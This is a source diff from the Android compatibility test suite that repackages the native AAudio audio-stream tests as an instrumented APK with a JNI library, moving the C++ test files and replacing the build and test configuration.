+# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -12,40 +12,30 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-# Build the unit tests.
-
-LOCAL_PATH:= $(call my-dir)
+LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_MODULE := CtsNativeMediaAAudioTestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
+
+LOCAL_PACKAGE_NAME := CtsNativeMediaAAudioTestCases
+
+# Include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SRC_FILES := \
- src/test_aaudio.cpp \
- src/test_aaudio_callback.cpp \
- src/test_aaudio_misc.cpp \
- src/test_aaudio_mmap.cpp \
- src/test_aaudio_stream_builder.cpp \
- src/utils.cpp \
-
-LOCAL_SHARED_LIBRARIES := \
- libaaudio \
- liblog \
-
-LOCAL_STATIC_LIBRARIES := \
- libgtest_ndk_c++ \
-
-LOCAL_CTS_TEST_PACKAGE := android.nativemedia.aaudio
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CFLAGS := -Werror -Wall
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner nativetesthelper
+
+LOCAL_JNI_SHARED_LIBRARIES := libnativeaaudiotest
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-include $(BUILD_CTS_EXECUTABLE)
+include $(BUILD_CTS_PACKAGE)
+
+# Include the associated library's makefile.
+include $(LOCAL_PATH)/jni/Android.mk
diff --git a/tests/tests/nativemedia/aaudio/AndroidManifest.xml b/tests/tests/nativemedia/aaudio/AndroidManifest.xml
new file mode 100644
index 0000000..97bf5f9
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.nativemedia.aaudio">
+
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ <uses-permission android:name="android.permission.RECORD_AUDIO" />
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <!-- This is a self-instrumenting test package. -->
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.nativemedia.aaudio"
+ android:label="CTS tests of native AAudio API">
+ </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/nativemedia/aaudio/AndroidTest.xml b/tests/tests/nativemedia/aaudio/AndroidTest.xml
index 7030d0c..b796ea6 100644
--- a/tests/tests/nativemedia/aaudio/AndroidTest.xml
+++ b/tests/tests/nativemedia/aaudio/AndroidTest.xml
@@ -15,16 +15,14 @@
-->
<configuration description="Config for CTS Native Media AAudio test cases">
<option name="config-descriptor:metadata" key="component" value="media" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="cleanup" value="true" />
- <option name="push" value="CtsNativeMediaAAudioTestCases->/data/local/tmp/CtsNativeMediaAAudioTestCases" />
- <option name="append-bitness" value="true" />
+ <option name="test-suite-tag" value="cts" />
+ <option name="not-shardable" value="true" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsNativeMediaAAudioTestCases.apk" />
</target_preparer>
- <test class="com.android.tradefed.testtype.GTest" >
- <option name="native-test-device-path" value="/data/local/tmp" />
- <option name="module-name" value="CtsNativeMediaAAudioTestCases" />
- <option name="runtime-hint" value="2m" />
- <!-- test-timeout unit is ms, value = 2 min -->
- <option name="native-test-timeout" value="120000" />
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.nativemedia.aaudio" />
+ <option name="runtime-hint" value="2m0s" />
</test>
</configuration>
diff --git a/tests/tests/nativemedia/aaudio/jni/Android.mk b/tests/tests/nativemedia/aaudio/jni/Android.mk
new file mode 100644
index 0000000..c6f0902
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/jni/Android.mk
@@ -0,0 +1,42 @@
+# Copyright 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Build the unit tests.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := libnativeaaudiotest
+LOCAL_MULTILIB := both
+
+LOCAL_SRC_FILES := \
+ test_aaudio.cpp \
+ test_aaudio_callback.cpp \
+ test_aaudio_mmap.cpp \
+ test_aaudio_misc.cpp \
+ test_aaudio_stream_builder.cpp \
+ utils.cpp \
+
+LOCAL_SHARED_LIBRARIES := \
+ libaaudio \
+ liblog
+
+LOCAL_WHOLE_STATIC_LIBRARIES := libnativetesthelper_jni
+
+LOCAL_CFLAGS := -Werror -Wall
+
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio.h b/tests/tests/nativemedia/aaudio/jni/test_aaudio.h
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio.h
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio.h
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_misc.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_misc.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio_misc.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio_misc.cpp
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_mmap.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio_mmap.cpp
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_stream_builder.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio_stream_builder.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
diff --git a/tests/tests/nativemedia/aaudio/jni/utils.cpp b/tests/tests/nativemedia/aaudio/jni/utils.cpp
new file mode 100644
index 0000000..55d1e13
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/jni/utils.cpp
@@ -0,0 +1,192 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "AAudioTest"
+
+#include <sys/types.h>
+#include <unistd.h>
+
+#include <android/log.h>
+#include <gtest/gtest.h>
+
+#include "test_aaudio.h"
+#include "utils.h"
+
+int64_t getNanoseconds(clockid_t clockId) {
+ struct timespec time;
+ int result = clock_gettime(clockId, &time);
+ if (result < 0) {
+ return -errno;
+ }
+ return (time.tv_sec * NANOS_PER_SECOND) + time.tv_nsec;
+}
+
+const char* performanceModeToString(aaudio_performance_mode_t mode) {
+ switch (mode) {
+ case AAUDIO_PERFORMANCE_MODE_NONE: return "DEFAULT";
+ case AAUDIO_PERFORMANCE_MODE_POWER_SAVING: return "POWER_SAVING";
+ case AAUDIO_PERFORMANCE_MODE_LOW_LATENCY: return "LOW_LATENCY";
+ }
+ return "UNKNOWN";
+}
+
+const char* sharingModeToString(aaudio_sharing_mode_t mode) {
+ switch (mode) {
+ case AAUDIO_SHARING_MODE_SHARED: return "SHARED";
+ case AAUDIO_SHARING_MODE_EXCLUSIVE: return "EXCLUSIVE";
+ }
+ return "UNKNOWN";
+}
+
+
+// These periods are quite generous. They are not designed to put
+// any restrictions on the implementation, but only to ensure sanity.
+// Use int64_t because 96000 * 30000 is close to int32_t limits.
+const std::map<aaudio_performance_mode_t, int64_t> StreamBuilderHelper::sMaxFramesPerBurstMs =
+{ { AAUDIO_PERFORMANCE_MODE_NONE, 128 },
+ { AAUDIO_PERFORMANCE_MODE_POWER_SAVING, 30 * 1000 },
+ { AAUDIO_PERFORMANCE_MODE_LOW_LATENCY, 40 } };
+
+StreamBuilderHelper::StreamBuilderHelper(
+ aaudio_direction_t direction, int32_t sampleRate,
+ int32_t channelCount, aaudio_format_t dataFormat,
+ aaudio_sharing_mode_t sharingMode, aaudio_performance_mode_t perfMode)
+ : mDirection{direction},
+ mRequested{sampleRate, channelCount, dataFormat, sharingMode, perfMode},
+ mActual{0, 0, AAUDIO_FORMAT_INVALID, -1, -1}, mFramesPerBurst{-1},
+ mBuilder{nullptr}, mStream{nullptr} {}
+
+StreamBuilderHelper::~StreamBuilderHelper() {
+ close();
+}
+
+void StreamBuilderHelper::initBuilder() {
+ ASSERT_EQ(1U, sMaxFramesPerBurstMs.count(mRequested.perfMode));
+
+ // Use an AAudioStreamBuilder to define the stream.
+ aaudio_result_t result = AAudio_createStreamBuilder(&mBuilder);
+ ASSERT_EQ(AAUDIO_OK, result);
+ ASSERT_TRUE(mBuilder != nullptr);
+
+ // Request stream properties.
+ AAudioStreamBuilder_setDeviceId(mBuilder, AAUDIO_UNSPECIFIED);
+ AAudioStreamBuilder_setDirection(mBuilder, mDirection);
+ AAudioStreamBuilder_setSampleRate(mBuilder, mRequested.sampleRate);
+ AAudioStreamBuilder_setChannelCount(mBuilder, mRequested.channelCount);
+ AAudioStreamBuilder_setFormat(mBuilder, mRequested.dataFormat);
+ AAudioStreamBuilder_setSharingMode(mBuilder, mRequested.sharingMode);
+ AAudioStreamBuilder_setPerformanceMode(mBuilder, mRequested.perfMode);
+}
+
+// Needs to be a 'void' function due to ASSERT requirements.
+void StreamBuilderHelper::createAndVerifyStream(bool *success) {
+ *success = false;
+
+ aaudio_result_t result = AAudioStreamBuilder_openStream(mBuilder, &mStream);
+ if (mRequested.sharingMode == AAUDIO_SHARING_MODE_EXCLUSIVE && result != AAUDIO_OK) {
+ __android_log_write(ANDROID_LOG_WARN, LOG_TAG, "Could not open a stream in EXCLUSIVE mode");
+ return;
+ }
+ ASSERT_EQ(AAUDIO_OK, result);
+ ASSERT_TRUE(mStream != nullptr);
+ ASSERT_EQ(AAUDIO_STREAM_STATE_OPEN, AAudioStream_getState(mStream));
+ ASSERT_EQ(mDirection, AAudioStream_getDirection(mStream));
+
+ mActual.sharingMode = AAudioStream_getSharingMode(mStream);
+ if (mActual.sharingMode != mRequested.sharingMode) {
+ // Since we are covering all possible values, the "actual" mode
+ // will also be tested, so no need to run the same test twice.
+ __android_log_print(ANDROID_LOG_WARN, LOG_TAG, "Sharing mode %s is not available",
+ sharingModeToString(mRequested.sharingMode));
+ return;
+ }
+
+ // Check to see what kind of stream we actually got.
+ mActual.sampleRate = AAudioStream_getSampleRate(mStream);
+ ASSERT_GE(mActual.sampleRate, 44100);
+ ASSERT_LE(mActual.sampleRate, 96000); // TODO what is min/max?
+
+ mActual.channelCount = AAudioStream_getChannelCount(mStream);
+ ASSERT_GE(mActual.channelCount, 1);
+ ASSERT_LE(mActual.channelCount, 16); // TODO what is min/max?
+
+ mActual.dataFormat = AAudioStream_getFormat(mStream);
+ ASSERT_EQ(AAUDIO_FORMAT_PCM_I16, mActual.dataFormat);
+
+ mActual.perfMode = AAudioStream_getPerformanceMode(mStream);
+ if (mRequested.perfMode != AAUDIO_PERFORMANCE_MODE_NONE
+ && mRequested.perfMode != mActual.perfMode) {
+ // Since we are covering all possible values, the "actual" mode
+ // will also be tested, so no need to run the same test twice.
+ __android_log_print(ANDROID_LOG_WARN, LOG_TAG, "Performance mode %s is not available",
+ performanceModeToString(mRequested.sharingMode));
+ return;
+ }
+
+ mFramesPerBurst = AAudioStream_getFramesPerBurst(mStream);
+ ASSERT_GE(mFramesPerBurst, 16);
+ const int32_t maxFramesPerBurst =
+ mActual.sampleRate * sMaxFramesPerBurstMs.at(mActual.perfMode) / MILLIS_PER_SECOND;
+ ASSERT_LE(mFramesPerBurst, maxFramesPerBurst);
+
+ int32_t actualBufferSize = AAudioStream_getBufferSizeInFrames(mStream);
+ ASSERT_GT(actualBufferSize, 0);
+ ASSERT_GT(AAudioStream_setBufferSizeInFrames(mStream, actualBufferSize), 0);
+
+ *success = true;
+}
+
+void StreamBuilderHelper::close() {
+ if (mBuilder != nullptr) {
+ ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_delete(mBuilder));
+ }
+ if (mStream != nullptr) {
+ ASSERT_EQ(AAUDIO_OK, AAudioStream_close(mStream));
+ }
+}
+
+void StreamBuilderHelper::streamCommand(
+ StreamCommand cmd, aaudio_stream_state_t fromState, aaudio_stream_state_t toState) {
+ ASSERT_EQ(AAUDIO_OK, cmd(mStream));
+ aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNINITIALIZED;
+ ASSERT_EQ(AAUDIO_OK,
+ AAudioStream_waitForStateChange(mStream, fromState, &state, DEFAULT_STATE_TIMEOUT));
+ ASSERT_EQ(toState, state);
+}
+
+
+InputStreamBuilderHelper::InputStreamBuilderHelper(
+ aaudio_sharing_mode_t requestedSharingMode, aaudio_performance_mode_t requestedPerfMode)
+ : StreamBuilderHelper{AAUDIO_DIRECTION_INPUT,
+ 48000, 1, AAUDIO_FORMAT_PCM_I16, requestedSharingMode, requestedPerfMode} {}
+
+
+OutputStreamBuilderHelper::OutputStreamBuilderHelper(
+ aaudio_sharing_mode_t requestedSharingMode, aaudio_performance_mode_t requestedPerfMode)
+ : StreamBuilderHelper{AAUDIO_DIRECTION_OUTPUT,
+ 48000, 2, AAUDIO_FORMAT_PCM_I16, requestedSharingMode, requestedPerfMode} {}
+
+void OutputStreamBuilderHelper::initBuilder() {
+ StreamBuilderHelper::initBuilder();
+ AAudioStreamBuilder_setBufferCapacityInFrames(mBuilder, kBufferCapacityFrames);
+}
+
+void OutputStreamBuilderHelper::createAndVerifyStream(bool *success) {
+ StreamBuilderHelper::createAndVerifyStream(success);
+ if (*success) {
+ ASSERT_GE(AAudioStream_getBufferCapacityInFrames(mStream), kBufferCapacityFrames);
+ }
+}
diff --git a/tests/tests/nativemedia/aaudio/jni/utils.h b/tests/tests/nativemedia/aaudio/jni/utils.h
new file mode 100644
index 0000000..7f38fef
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/jni/utils.h
@@ -0,0 +1,101 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef CTS_MEDIA_TEST_AAUDIO_UTILS_H
+#define CTS_MEDIA_TEST_AAUDIO_UTILS_H
+
+#include <map>
+
+#include <aaudio/AAudio.h>
+
+int64_t getNanoseconds(clockid_t clockId = CLOCK_MONOTONIC);
+const char* performanceModeToString(aaudio_performance_mode_t mode);
+const char* sharingModeToString(aaudio_sharing_mode_t mode);
+
+class StreamBuilderHelper {
+ public:
+ struct Parameters {
+ int32_t sampleRate;
+ int32_t channelCount;
+ aaudio_format_t dataFormat;
+ aaudio_sharing_mode_t sharingMode;
+ aaudio_performance_mode_t perfMode;
+ };
+
+ void initBuilder();
+ void createAndVerifyStream(bool *success);
+ void close();
+
+ void startStream() {
+ streamCommand(&AAudioStream_requestStart,
+ AAUDIO_STREAM_STATE_STARTING, AAUDIO_STREAM_STATE_STARTED);
+ }
+ void pauseStream() {
+ streamCommand(&AAudioStream_requestPause,
+ AAUDIO_STREAM_STATE_PAUSING, AAUDIO_STREAM_STATE_PAUSED);
+ }
+ void stopStream() {
+ streamCommand(&AAudioStream_requestStop,
+ AAUDIO_STREAM_STATE_STOPPING, AAUDIO_STREAM_STATE_STOPPED);
+ }
+ void flushStream() {
+ streamCommand(&AAudioStream_requestFlush,
+ AAUDIO_STREAM_STATE_FLUSHING, AAUDIO_STREAM_STATE_FLUSHED);
+ }
+
+ AAudioStreamBuilder* builder() const { return mBuilder; }
+ AAudioStream* stream() const { return mStream; }
+ const Parameters& actual() const { return mActual; }
+ int32_t framesPerBurst() const { return mFramesPerBurst; }
+
+ protected:
+ StreamBuilderHelper(aaudio_direction_t direction, int32_t sampleRate,
+ int32_t channelCount, aaudio_format_t dataFormat,
+ aaudio_sharing_mode_t sharingMode, aaudio_performance_mode_t perfMode);
+ ~StreamBuilderHelper();
+
+ typedef aaudio_result_t (StreamCommand)(AAudioStream*);
+ void streamCommand(
+ StreamCommand cmd, aaudio_stream_state_t fromState, aaudio_stream_state_t toState);
+
+ static const std::map<aaudio_performance_mode_t, int64_t> sMaxFramesPerBurstMs;
+ const aaudio_direction_t mDirection;
+ const Parameters mRequested;
+ Parameters mActual;
+ int32_t mFramesPerBurst;
+ AAudioStreamBuilder *mBuilder;
+ AAudioStream *mStream;
+};
+
+class InputStreamBuilderHelper : public StreamBuilderHelper {
+ public:
+ InputStreamBuilderHelper(
+ aaudio_sharing_mode_t requestedSharingMode,
+ aaudio_performance_mode_t requestedPerfMode);
+};
+
+class OutputStreamBuilderHelper : public StreamBuilderHelper {
+ public:
+ OutputStreamBuilderHelper(
+ aaudio_sharing_mode_t requestedSharingMode,
+ aaudio_performance_mode_t requestedPerfMode);
+ void initBuilder();
+ void createAndVerifyStream(bool *success);
+
+ private:
+ const int32_t kBufferCapacityFrames = 2000;
+};
+
+#endif // CTS_MEDIA_TEST_AAUDIO_UTILS_H
diff --git a/tests/tests/nativemedia/aaudio/src/android/nativemedia/aaudio/AAudioTests.java b/tests/tests/nativemedia/aaudio/src/android/nativemedia/aaudio/AAudioTests.java
new file mode 100644
index 0000000..afb2db4
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/src/android/nativemedia/aaudio/AAudioTests.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.nativemedia.aaudio;
+
+import org.junit.runner.RunWith;
+import com.android.gtestrunner.GtestRunner;
+import com.android.gtestrunner.TargetLibrary;
+
+@RunWith(GtestRunner.class)
+@TargetLibrary("nativeaaudiotest")
+public class AAudioTests {}
diff --git a/tests/tests/nativemedia/aaudio/src/utils.cpp b/tests/tests/nativemedia/aaudio/src/utils.cpp
deleted file mode 100644
index b039f4e..0000000
--- a/tests/tests/nativemedia/aaudio/src/utils.cpp
+++ /dev/null
@@ -1,208 +0,0 @@
-/*
- * Copyright 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define LOG_TAG "AAudioTest"
-
-#include <sys/types.h>
-#include <unistd.h>
-
-#include <android/log.h>
-#include <gtest/gtest.h>
-
-#include "test_aaudio.h"
-#include "utils.h"
-
-int64_t getNanoseconds(clockid_t clockId) {
- struct timespec time;
- int result = clock_gettime(clockId, &time);
- if (result < 0) {
- return -errno;
- }
- return (time.tv_sec * NANOS_PER_SECOND) + time.tv_nsec;
-}
-
-const char* performanceModeToString(aaudio_performance_mode_t mode) {
- switch (mode) {
- case AAUDIO_PERFORMANCE_MODE_NONE: return "DEFAULT";
- case AAUDIO_PERFORMANCE_MODE_POWER_SAVING: return "POWER_SAVING";
- case AAUDIO_PERFORMANCE_MODE_LOW_LATENCY: return "LOW_LATENCY";
- }
- return "UNKNOWN";
-}
-
-const char* sharingModeToString(aaudio_sharing_mode_t mode) {
- switch (mode) {
- case AAUDIO_SHARING_MODE_SHARED: return "SHARED";
- case AAUDIO_SHARING_MODE_EXCLUSIVE: return "EXCLUSIVE";
- }
- return "UNKNOWN";
-}
-
-
-// These periods are quite generous. They are not designed to put
-// any restrictions on the implementation, but only to ensure sanity.
-// Use int64_t because 96000 * 30000 is close to int32_t limits.
-const std::map<aaudio_performance_mode_t, int64_t> StreamBuilderHelper::sMaxFramesPerBurstMs =
-{ { AAUDIO_PERFORMANCE_MODE_NONE, 128 },
- { AAUDIO_PERFORMANCE_MODE_POWER_SAVING, 30 * 1000 },
- { AAUDIO_PERFORMANCE_MODE_LOW_LATENCY, 40 } };
-
-StreamBuilderHelper::StreamBuilderHelper(
- aaudio_direction_t direction, int32_t sampleRate,
- int32_t channelCount, aaudio_format_t dataFormat,
- aaudio_sharing_mode_t sharingMode, aaudio_performance_mode_t perfMode)
- : mDirection{direction},
- mRequested{sampleRate, channelCount, dataFormat, sharingMode, perfMode},
- mActual{0, 0, AAUDIO_FORMAT_INVALID, -1, -1}, mFramesPerBurst{-1},
- mBuilder{nullptr}, mStream{nullptr} {}
-
-StreamBuilderHelper::~StreamBuilderHelper() {
- close();
-}
-
-void StreamBuilderHelper::initBuilder() {
- ASSERT_EQ(1U, sMaxFramesPerBurstMs.count(mRequested.perfMode));
-
- // Use an AAudioStreamBuilder to define the stream.
- aaudio_result_t result = AAudio_createStreamBuilder(&mBuilder);
- ASSERT_EQ(AAUDIO_OK, result);
- ASSERT_TRUE(mBuilder != nullptr);
-
- // Request stream properties.
- AAudioStreamBuilder_setDeviceId(mBuilder, AAUDIO_UNSPECIFIED);
- AAudioStreamBuilder_setDirection(mBuilder, mDirection);
- AAudioStreamBuilder_setSampleRate(mBuilder, mRequested.sampleRate);
- AAudioStreamBuilder_setChannelCount(mBuilder, mRequested.channelCount);
- AAudioStreamBuilder_setFormat(mBuilder, mRequested.dataFormat);
- AAudioStreamBuilder_setSharingMode(mBuilder, mRequested.sharingMode);
- AAudioStreamBuilder_setPerformanceMode(mBuilder, mRequested.perfMode);
-}
-
-// Needs to be a 'void' function due to ASSERT requirements.
-void StreamBuilderHelper::createAndVerifyStream(bool *success) {
- *success = false;
-
- aaudio_result_t result = AAudioStreamBuilder_openStream(mBuilder, &mStream);
- if (mRequested.sharingMode == AAUDIO_SHARING_MODE_EXCLUSIVE && result != AAUDIO_OK) {
- __android_log_write(ANDROID_LOG_WARN, LOG_TAG, "Could not open a stream in EXCLUSIVE mode");
- return;
- }
- ASSERT_EQ(AAUDIO_OK, result);
- ASSERT_TRUE(mStream != nullptr);
- ASSERT_EQ(AAUDIO_STREAM_STATE_OPEN, AAudioStream_getState(mStream));
- ASSERT_EQ(mDirection, AAudioStream_getDirection(mStream));
-
- mActual.sharingMode = AAudioStream_getSharingMode(mStream);
- if (mActual.sharingMode != mRequested.sharingMode) {
- // Since we are covering all possible values, the "actual" mode
- // will also be tested, so no need to run the same test twice.
- __android_log_print(ANDROID_LOG_WARN, LOG_TAG, "Sharing mode %s is not available",
- sharingModeToString(mRequested.sharingMode));
- return;
- }
-
- // Check to see what kind of stream we actually got.
- mActual.sampleRate = AAudioStream_getSampleRate(mStream);
- ASSERT_GE(mActual.sampleRate, 44100);
- ASSERT_LE(mActual.sampleRate, 96000); // TODO what is min/max?
-
- mActual.channelCount = AAudioStream_getChannelCount(mStream);
- ASSERT_GE(mActual.channelCount, 1);
- ASSERT_LE(mActual.channelCount, 16); // TODO what is min/max?
-
- mActual.dataFormat = AAudioStream_getFormat(mStream);
- ASSERT_EQ(AAUDIO_FORMAT_PCM_I16, mActual.dataFormat);
-
- mActual.perfMode = AAudioStream_getPerformanceMode(mStream);
- if (mRequested.perfMode != AAUDIO_PERFORMANCE_MODE_NONE
- && mRequested.perfMode != mActual.perfMode) {
- // Since we are covering all possible values, the "actual" mode
- // will also be tested, so no need to run the same test twice.
- __android_log_print(ANDROID_LOG_WARN, LOG_TAG, "Performance mode %s is not available",
- performanceModeToString(mRequested.sharingMode));
- return;
- }
-
- mFramesPerBurst = AAudioStream_getFramesPerBurst(mStream);
- ASSERT_GE(mFramesPerBurst, 16);
- const int32_t maxFramesPerBurst =
- mActual.sampleRate * sMaxFramesPerBurstMs.at(mActual.perfMode) / MILLIS_PER_SECOND;
- ASSERT_LE(mFramesPerBurst, maxFramesPerBurst);
-
- int32_t actualBufferSize = AAudioStream_getBufferSizeInFrames(mStream);
- ASSERT_GT(actualBufferSize, 0);
- ASSERT_GT(AAudioStream_setBufferSizeInFrames(mStream, actualBufferSize), 0);
-
- *success = true;
-}
-
-void StreamBuilderHelper::close() {
- if (mBuilder != nullptr) {
- ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_delete(mBuilder));
- }
- if (mStream != nullptr) {
- ASSERT_EQ(AAUDIO_OK, AAudioStream_close(mStream));
- }
-}
-
-void StreamBuilderHelper::streamCommand(
- StreamCommand cmd, aaudio_stream_state_t fromState, aaudio_stream_state_t toState) {
- ASSERT_EQ(AAUDIO_OK, cmd(mStream));
- aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNINITIALIZED;
- ASSERT_EQ(AAUDIO_OK,
- AAudioStream_waitForStateChange(mStream, fromState, &state, DEFAULT_STATE_TIMEOUT));
- ASSERT_EQ(toState, state);
-}
-
-
-InputStreamBuilderHelper::InputStreamBuilderHelper(
- aaudio_sharing_mode_t requestedSharingMode, aaudio_performance_mode_t requestedPerfMode)
- : StreamBuilderHelper{AAUDIO_DIRECTION_INPUT,
- 48000, 1, AAUDIO_FORMAT_PCM_I16, requestedSharingMode, requestedPerfMode} {}
-
-// Native apps don't have permissions, thus recording can
-// only be tested when running as root.
-static bool canTestRecording() {
- static const bool runningAsRoot = getuid() == 0;
- return runningAsRoot;
-}
-
-void InputStreamBuilderHelper::createAndVerifyStream(bool *success) {
- if (!canTestRecording()) {
- __android_log_write(ANDROID_LOG_WARN, LOG_TAG, "No permissions to run recording tests");
- *success = false;
- } else {
- StreamBuilderHelper::createAndVerifyStream(success);
- }
-}
-
-
-OutputStreamBuilderHelper::OutputStreamBuilderHelper(
- aaudio_sharing_mode_t requestedSharingMode, aaudio_performance_mode_t requestedPerfMode)
- : StreamBuilderHelper{AAUDIO_DIRECTION_OUTPUT,
- 48000, 2, AAUDIO_FORMAT_PCM_I16, requestedSharingMode, requestedPerfMode} {}
-
-void OutputStreamBuilderHelper::initBuilder() {
- StreamBuilderHelper::initBuilder();
- AAudioStreamBuilder_setBufferCapacityInFrames(mBuilder, kBufferCapacityFrames);
-}
-
-void OutputStreamBuilderHelper::createAndVerifyStream(bool *success) {
- StreamBuilderHelper::createAndVerifyStream(success);
- if (*success) {
- ASSERT_GE(AAudioStream_getBufferCapacityInFrames(mStream), kBufferCapacityFrames);
- }
-}
diff --git a/tests/tests/nativemedia/aaudio/src/utils.h b/tests/tests/nativemedia/aaudio/src/utils.h
deleted file mode 100644
index 44c3c69..0000000
--- a/tests/tests/nativemedia/aaudio/src/utils.h
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
